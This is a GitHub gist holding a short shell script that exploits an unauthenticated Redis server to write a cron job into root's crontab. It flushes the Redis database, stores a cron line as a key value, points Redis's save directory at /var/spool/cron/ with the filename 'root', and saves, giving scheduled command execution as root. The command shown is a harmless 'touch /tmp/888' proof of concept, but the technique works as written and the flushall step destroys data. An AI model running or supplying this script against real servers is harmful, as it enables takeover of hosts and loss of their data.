Last active
January 18, 2017 02:08
-
-
Save carnal0wnage/01963c7a36235e90c11ef8756e76d3d5 to your computer and use it in GitHub Desktop.
redis crontab /tmp/888
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
redis-cli flushall # 为了方便测试 | |
redis-cli set test 'test' | |
redis-cli set my 'mymymymymymymymymymymymy' | |
redis-cli set word 'wordwordwordwordwordword' | |
redis-cli set hello 'ringzero' | |
redis-cli set word1 'word1word1word1word1word1word1' | |
echo -e "\n\n*/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1 | |
redis-cli config set dir /var/spool/cron/ | |
redis-cli config set dbfilename root | |
redis-cli save | |
redis-cli flushall | |
echo -e "\n\n*/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1 | |
redis-cli config set dir /var/spool/cron/ | |
redis-cli config set dbfilename root | |
redis-cli save | |
from https://phpinfo.me/2016/07/07/1275.html |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment